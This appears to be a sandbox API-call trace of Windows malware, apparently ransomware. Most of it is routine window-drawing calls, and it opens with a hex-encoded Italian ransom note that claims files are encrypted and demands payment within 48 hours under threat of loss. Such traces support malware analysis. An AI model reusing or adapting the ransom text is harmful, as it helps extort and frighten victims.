lpString="\x42\x75\x6f\x6e\x61\x20\x67\x69\x6f\x72\x6e\x61\x74\x61\x21\x0d\x0a\x0d\x0a\x54\x75\x74\x74\x69\x20\x69\x20\x66\x69\x6c\x65\x20\x73\x75\x6c\x20\x74\x75\x6f\x20\x63\x6f\x6d\x70\x75\x74\x65\x72\x20\x73\x6f\x6e\x6f\x20\x63\x72\x69\x74\x74\x6f\x67\x72\x61\x66\x61\x74\x69\x2e\x0d\x0a\x4c\x61\x20\x64\x65\x63\x6f\x64\x69\x66\x69\x63\x61\x20\x64\x65\x69\x20\x66\x69\x6c\x65\x20\xe8\x20\x70\x6f\x73\x73\x69\x62\x69\x6c\x65\x20\x73\x6f\x6c\x6f\x20\x63\x6f\x6e\x20\x69\x6c\x20\x6e\x6f\x73\x74\x72\x6f\x20\x61\x69\x75\x74\x6f\x20\x21\x21\x21\x0d\x0a\x0d\x0a\x44\x65\x76\x69\x20\x70\x61\x67\x61\x72\x65\x20\x65\x6e\x74\x72\x6f\x20\x34\x38\x20\x6f\x72\x65\x20\x70\x65\x72\x20\x64\x65\x63\x69\x66\x72\x61\x72\x65\x20\x69\x6c\x20\x74\x75\x6f\x0d\x0a\x66\x69\x6c\x65\x20\x69\x6e\x20\x63\x6f\x6e\x66\x6f\x72\x6d\x69\x74\xe0\x20\x63\x6f\x6e\x20\x6c\x61\x20\x74\x61\x72\x69\x66\x66\x61\x20\x64\x65\x6c\x20\x74\x75\x6f\x20\x70\x61\x65\x73\x65\x2e\x0d\x0a\x4c\x65\x20\x74\x61\x72\x69\x66\x66\x65\x20\x73\x6f\x6e\x6f\x20\x69\x6e\x64\x69\x63\x61\x74\x65\x20\x6e\x65\x6c\x6c\x61\x20\x66\x69\x6e\x65\x73\x74\x72\x61\x20\x64\x61\x20\x73\x69\x6e\x69\x73\x74\x72\x61\x20\x21\x21\x21\x0d\x0a\x45\x20\x63\x6f\x6e\x74\x61\x74\x74\x61\x63\x69\x20\x64\x6f\x70\x6f\x20\x61\x76\x65\x72\x20\x70\x61\x67\x61\x74\x6f\x20\x6c\x61\x20\x74\x75\x61\x20\x63\x68\x69\x61\x76\x65\x20\x64\x69\x20\x64\x65\x63\x6f\x64\x69\x66\x69\x63\x61\x20\x69\x6e\x64\x69\x76\x69\x64\x75\x61\x6c\x65\x20\x70\x65\x72\x20\x63\x6f\x6e\x74\x61\x74\x74\x6f\x20\x64\x69\x20\x73\x65\x67\x75\x69\x74\x6f\x3a\x0d\x0a\x0d\x0a\x53\x65\x20\x63\x69\xf2\x20\x6e\x6f\x6e\x20\x61\x63\x63\x61\x64\x65\x2c\x20\x64\x6f\x70\x6f\x20\x37\x32\x20\x6f\x72\x65\x20\x74\x75\x74\x74\x69\x20\x69\x20\x66\x69\x6c\x65\x20\x61\x6e\x64\x72\x61\x6e\x6e\x6f\x20\x70\x65\x72\x73\x69\x2e\x0d\x0a\x49\x6e\x6f\x6c\x74\x72\x65\x2c\x20\x75\x73\x69\x61\x6d\x6f\x20\x69\x6c\x20\x74\x75\x6f\x20\x63\x6f\x6d\x70\x75\x74\x65\x72\x20\x6e\x65\x6c\x6c\x65\x20\x6c\x6f\x72\x6f\x20\x61\x7a\x69\x6f\x6e\x69\x20\x69\x6c\x6c\x65\x67\x61\x6c\x69\x2e\x0d\x0a\x45\x20\x71\x75\x61\x6e\x74\x6f\x20\x69\x6c\x20\x74\x75\x6f\x20\x63\x6f\x6d\x70\x75\x74\x65\x72\x20\xe8\x20\x73\x74\x61\x74\x6f\x20\x61\x63\x71\x75\x69\x73\x74\x61\x74\x6f\x20\x64\x61\x20\x74\x65\x20\x65\x20\x69\x6e\x20\x63\x6f\x6e\x66\x6f\x72\x6d\x69\x74\xe0\x20\x63\x6f\x6e\x20\x6c\x61\x20\x74\x75\x61\x20\x6c\x65\x67\x69\x73\x6c\x61\x7a\x69\x6f\x6e\x65\x0d\x0a\x69\x6c\x20\x70\x61\x65\x73\x65\x20\xe8\x20\x64\x69\x20\x74\x75\x61\x20\x70\x72\x6f\x70\x72\x69\x65\x74\xe0\x0d\x0a\x45\x20\x73\x61\x72\x61\x69\x20\x63\x72\x69\x6d\x69\x6e\x61\x6c\x6d\x65\x6e\x74\x65\x20\x72\x65\x73\x70\x6f\x6e\x73\x61\x62\x69\x6c\x65\x20\x64\x65\x6c\x6c\x65\x20\x6e\x6f\x73\x74\x72\x65\x20\x61\x7a\x69\x6f\x6e\x69\x29\x29\x29\x0d\x0a\x0d\x0a\x53\x62\x72\x69\x67\x61\x74\x69\x20\x61\x20\x70\x61\x67\x61\x72\x65") returned 1 [0154.703] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0xc, wParam=0x0, lParam=0x2fe2c3c) returned 0x1 [0154.704] GetSystemMetrics (nIndex=5) returned 1 [0154.704] GetSystemMetrics (nIndex=6) returned 1 [0154.704] SendMessageW (hWnd=0x3020e, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0154.704] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0154.704] GetWindowTextLengthW (hWnd=0x3020e) returned 709 [0154.704] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2c5 [0154.704] SendMessageW (hWnd=0x3020e, Msg=0xb1, wParam=0x0, lParam=0x0) returned 0x1 [0154.704] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0xb1, wParam=0x0, lParam=0x0) returned 0x1 [0154.704] SendMessageW (hWnd=0x3020e, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0154.704] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0154.705] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0x5, wParam=0x0, lParam=0x13d0258) returned 0x1 [0154.706] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0x3, wParam=0x0, lParam=0x800c6) returned 0x0 [0154.706] GetClientRect (in: hWnd=0x3020e, lpRect=0x19de38 | out: lpRect=0x19de38) returned 1 [0154.706] GetWindowRect (in: hWnd=0x3020e, lpRect=0x19de38 | out: lpRect=0x19de38) returned 1 [0154.706] GetParent (hWnd=0x3020e) returned 0x8004e [0154.706] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19de38, cPoints=0x2 | out: lpPoints=0x19de38) returned -16187697 [0154.706] SendMessageW (hWnd=0x3020e, Msg=0x2210, wParam=0x20e0001, lParam=0x3020e) returned 0x0 [0154.706] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0x2210, wParam=0x20e0001, lParam=0x3020e) returned 0x0 [0154.706] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0154.706] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0x46, wParam=0x0, lParam=0x19e134) returned 0x0 [0154.706] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0154.706] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0154.707] GetClientRect (in: hWnd=0x8004e, lpRect=0x19d70c | out: lpRect=0x19d70c) returned 1 [0154.707] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.707] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.707] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.707] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.707] SaveDC (hdc=0x1e0106e1) returned 1 [0154.707] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.707] CreateSolidBrush (color=0x323533) returned 0x7910071f [0154.707] FillRect (hDC=0x1e0106e1, lprc=0x19d5ac, hbr=0x7910071f) returned 1 [0154.707] DeleteObject (ho=0x7910071f) returned 1 [0154.707] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.707] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.707] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.707] GetSystemMetrics (nIndex=42) returned 0 [0154.707] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19d684, nMaxCount=1 | out: lpString="") returned 0 [0154.707] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19d684) returned 0x0 [0154.707] GetClientRect (in: hWnd=0x8004e, lpRect=0x19d6ac | out: lpRect=0x19d6ac) returned 1 [0154.707] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.708] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.708] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.708] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.708] SaveDC (hdc=0x1e0106e1) returned 1 [0154.708] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.708] CreateSolidBrush (color=0x323533) returned 0x7a10071f [0154.708] FillRect (hDC=0x1e0106e1, lprc=0x19d54c, hbr=0x7a10071f) returned 1 [0154.708] DeleteObject (ho=0x7a10071f) returned 1 [0154.708] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.708] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.708] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.708] GetSystemMetrics (nIndex=42) returned 0 [0154.708] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19d684, nMaxCount=1 | out: lpString="") returned 0 [0154.708] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19d684) returned 0x0 [0154.709] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0x14, wParam=0x1e0106e1, lParam=0x0) returned 0x1 [0154.709] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0154.709] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0154.709] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0x47, wParam=0x0, lParam=0x19e134) returned 0x0 [0154.709] GetClientRect (in: hWnd=0x3020e, lpRect=0x19de08 | out: lpRect=0x19de08) returned 1 [0154.709] GetWindowRect (in: hWnd=0x3020e, lpRect=0x19de08 | out: lpRect=0x19de08) returned 1 [0154.709] GetParent (hWnd=0x3020e) returned 0x8004e [0154.709] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19de08, cPoints=0x2 | out: lpPoints=0x19de08) returned -16187697 [0154.709] GetParent (hWnd=0x3020e) returned 0x8004e [0154.709] GetParent (hWnd=0x3020e) returned 0x8004e [0154.709] SetParent (hWndChild=0x401dc, hWndNewParent=0x8004e) returned 0x1023c [0154.709] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0154.713] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x46, wParam=0x0, lParam=0x19e77c) returned 0x0 [0154.713] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0154.713] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x47, wParam=0x0, lParam=0x19e77c) returned 0x0 [0154.713] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x3, wParam=0x0, lParam=0x800c6) returned 0x0 [0154.713] GetClientRect (in: hWnd=0x401dc, lpRect=0x19dcf0 | out: lpRect=0x19dcf0) returned 1 [0154.713] GetWindowRect (in: hWnd=0x401dc, lpRect=0x19dcf0 | out: lpRect=0x19dcf0) returned 1 [0154.713] GetParent (hWnd=0x401dc) returned 0x8004e [0154.713] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19dcf0, cPoints=0x2 | out: lpPoints=0x19dcf0) returned -16187697 [0154.713] GetClientRect (in: hWnd=0x401dc, lpRect=0x19e450 | out: lpRect=0x19e450) returned 1 [0154.713] GetWindowRect (in: hWnd=0x401dc, lpRect=0x19e450 | out: lpRect=0x19e450) returned 1 [0154.713] GetParent (hWnd=0x401dc) returned 0x8004e [0154.713] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19e450, cPoints=0x2 | out: lpPoints=0x19e450) returned -16187697 [0154.713] GetParent (hWnd=0x401dc) returned 0x8004e [0154.714] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0154.714] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x46, wParam=0x0, lParam=0x19e77c) returned 0x0 [0154.714] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0154.714] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0154.714] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0154.714] GetClientRect (in: hWnd=0x8004e, lpRect=0x19de4c | out: lpRect=0x19de4c) returned 1 [0154.715] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.715] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.715] GetSystemMetrics (nIndex=42) returned 0 [0154.715] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dd2c, nMaxCount=1 | out: lpString="") returned 0 [0154.715] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dd2c) returned 0x0 [0154.715] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd54 | out: lpRect=0x19dd54) returned 1 [0154.715] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.715] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.715] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.715] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.715] SaveDC (hdc=0x1e0106e1) returned 1 [0154.715] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.715] CreateSolidBrush (color=0x323533) returned 0x7b10071f [0154.715] FillRect (hDC=0x1e0106e1, lprc=0x19dbf4, hbr=0x7b10071f) returned 1 [0154.715] DeleteObject (ho=0x7b10071f) returned 1 [0154.715] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.715] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.715] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.715] GetSystemMetrics (nIndex=42) returned 0 [0154.715] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dccc, nMaxCount=1 | out: lpString="") returned 0 [0154.715] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dccc) returned 0x0 [0154.715] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dcf4 | out: lpRect=0x19dcf4) returned 1 [0154.716] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.716] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.716] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.716] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.716] SaveDC (hdc=0x1e0106e1) returned 1 [0154.716] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.716] CreateSolidBrush (color=0x323533) returned 0x7c10071f [0154.716] FillRect (hDC=0x1e0106e1, lprc=0x19db94, hbr=0x7c10071f) returned 1 [0154.716] DeleteObject (ho=0x7c10071f) returned 1 [0154.716] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.716] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.716] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.716] GetSystemMetrics (nIndex=42) returned 0 [0154.716] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dccc, nMaxCount=1 | out: lpString="") returned 0 [0154.716] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dccc) returned 0x0 [0154.718] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x14, wParam=0x1e0106e1, lParam=0x0) returned 0x1 [0154.719] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0154.719] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0154.719] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x47, wParam=0x0, lParam=0x19e77c) returned 0x0 [0154.719] GetClientRect (in: hWnd=0x401dc, lpRect=0x19e450 | out: lpRect=0x19e450) returned 1 [0154.719] GetWindowRect (in: hWnd=0x401dc, lpRect=0x19e450 | out: lpRect=0x19e450) returned 1 [0154.719] GetParent (hWnd=0x401dc) returned 0x8004e [0154.719] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19e450, cPoints=0x2 | out: lpPoints=0x19e450) returned -16187697 [0154.719] GetParent (hWnd=0x401dc) returned 0x8004e [0154.719] GetWindow (hWnd=0x401dc, uCmd=0x3) returned 0x0 [0154.719] SetWindowPos (hWnd=0x401dc, hWndInsertAfter=0x3020e, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0154.719] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x46, wParam=0x0, lParam=0x19e73c) returned 0x0 [0154.720] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0154.720] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0154.720] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0154.720] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0154.720] GetClientRect (in: hWnd=0x8004e, lpRect=0x19de0c | out: lpRect=0x19de0c) returned 1 [0154.720] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.720] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.720] GetSystemMetrics (nIndex=42) returned 0 [0154.720] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dcec, nMaxCount=1 | out: lpString="") returned 0 [0154.721] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dcec) returned 0x0 [0154.721] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd14 | out: lpRect=0x19dd14) returned 1 [0154.721] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.721] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.721] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.721] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.721] SaveDC (hdc=0x1e0106e1) returned 1 [0154.721] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.721] CreateSolidBrush (color=0x323533) returned 0x7d10071f [0154.721] FillRect (hDC=0x1e0106e1, lprc=0x19dbb4, hbr=0x7d10071f) returned 1 [0154.721] DeleteObject (ho=0x7d10071f) returned 1 [0154.721] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.721] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.721] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.721] GetSystemMetrics (nIndex=42) returned 0 [0154.721] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dc8c, nMaxCount=1 | out: lpString="") returned 0 [0154.721] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dc8c) returned 0x0 [0154.721] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dcb4 | out: lpRect=0x19dcb4) returned 1 [0154.721] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.721] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.721] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.722] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.722] SaveDC (hdc=0x1e0106e1) returned 1 [0154.722] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.722] CreateSolidBrush (color=0x323533) returned 0x7e10071f [0154.722] FillRect (hDC=0x1e0106e1, lprc=0x19db54, hbr=0x7e10071f) returned 1 [0154.722] DeleteObject (ho=0x7e10071f) returned 1 [0154.722] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.722] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.722] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.722] GetSystemMetrics (nIndex=42) returned 0 [0154.722] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dc8c, nMaxCount=1 | out: lpString="") returned 0 [0154.722] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dc8c) returned 0x0 [0154.724] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x14, wParam=0x1e0106e1, lParam=0x0) returned 0x1 [0154.724] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0154.724] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0154.724] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0154.724] SetTextColor (hdc=0x10105d6, color=0x0) returned 0x0 [0154.724] SetBkColor (hdc=0x10105d6, color=0xffffff) returned 0xffffff [0154.725] GetClientRect (in: hWnd=0x8004e, lpRect=0x19de0c | out: lpRect=0x19de0c) returned 1 [0154.725] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.725] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.725] GetSystemMetrics (nIndex=42) returned 0 [0154.725] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dcec, nMaxCount=1 | out: lpString="") returned 0 [0154.725] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dcec) returned 0x0 [0154.725] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd14 | out: lpRect=0x19dd14) returned 1 [0154.725] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.725] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.725] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.725] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.725] SaveDC (hdc=0x10105d6) returned 1 [0154.725] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.725] CreateSolidBrush (color=0x323533) returned 0x7f10071f [0154.725] FillRect (hDC=0x10105d6, lprc=0x19dbb4, hbr=0x7f10071f) returned 1 [0154.725] DeleteObject (ho=0x7f10071f) returned 1 [0154.725] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.725] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.725] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.726] GetSystemMetrics (nIndex=42) returned 0 [0154.726] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dc8c, nMaxCount=1 | out: lpString="") returned 0 [0154.726] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dc8c) returned 0x0 [0154.726] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dcb4 | out: lpRect=0x19dcb4) returned 1 [0154.726] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.726] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.726] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.726] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.726] SaveDC (hdc=0x10105d6) returned 1 [0154.726] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.726] CreateSolidBrush (color=0x323533) returned 0x8010071f [0154.726] FillRect (hDC=0x10105d6, lprc=0x19db54, hbr=0x8010071f) returned 1 [0154.726] DeleteObject (ho=0x8010071f) returned 1 [0154.726] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.726] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.726] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.726] GetSystemMetrics (nIndex=42) returned 0 [0154.726] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dc8c, nMaxCount=1 | out: lpString="") returned 0 [0154.726] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dc8c) returned 0x0 [0154.727] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x14, wParam=0x10105d6, lParam=0x0) returned 0x1 [0154.727] SetTextColor (hdc=0x10105d6, color=0x0) returned 0x0 [0154.727] SetBkColor (hdc=0x10105d6, color=0xffffff) returned 0xffffff [0154.727] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x47, wParam=0x0, lParam=0x19e73c) returned 0x0 [0154.727] GetClientRect (in: hWnd=0x401dc, lpRect=0x19e410 | out: lpRect=0x19e410) returned 1 [0154.727] GetWindowRect (in: hWnd=0x401dc, lpRect=0x19e410 | out: lpRect=0x19e410) returned 1 [0154.727] GetParent (hWnd=0x401dc) returned 0x8004e [0154.727] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19e410, cPoints=0x2 | out: lpPoints=0x19e410) returned -16187697 [0154.727] GetParent (hWnd=0x401dc) returned 0x8004e [0154.727] GetWindow (hWnd=0x401dc, uCmd=0x3) returned 0x3020e [0154.730] GetFocus () returned 0x1023e [0154.731] IsChild (hWndParent=0x401dc, hWnd=0x1023e) returned 0 [0154.731] GetParent (hWnd=0x401dc) returned 0x8004e [0154.731] GetWindowLongW (hWnd=0x401dc, nIndex=-20) returned 512 [0154.731] DestroyWindow (hWnd=0x401dc) [0154.731] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0154.731] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x210, wParam=0x1dc0002, lParam=0x401dc) returned 0x0 [0154.731] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0154.731] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x46, wParam=0x0, lParam=0x19e66c) returned 0x0 [0154.731] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x47, wParam=0x0, lParam=0x19e66c) returned 0x0 [0154.731] GetClientRect (in: hWnd=0x401dc, lpRect=0x19e340 | out: lpRect=0x19e340) returned 1 [0154.731] GetWindowRect (in: hWnd=0x401dc, lpRect=0x19e340 | out: lpRect=0x19e340) returned 1 [0154.731] GetParent (hWnd=0x401dc) returned 0x8004e [0154.731] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19e340, cPoints=0x2 | out: lpPoints=0x19e340) returned -16187697 [0154.732] GetParent (hWnd=0x401dc) returned 0x8004e [0154.732] SendMessageW (hWnd=0x401dc, Msg=0xb8, wParam=0x0, 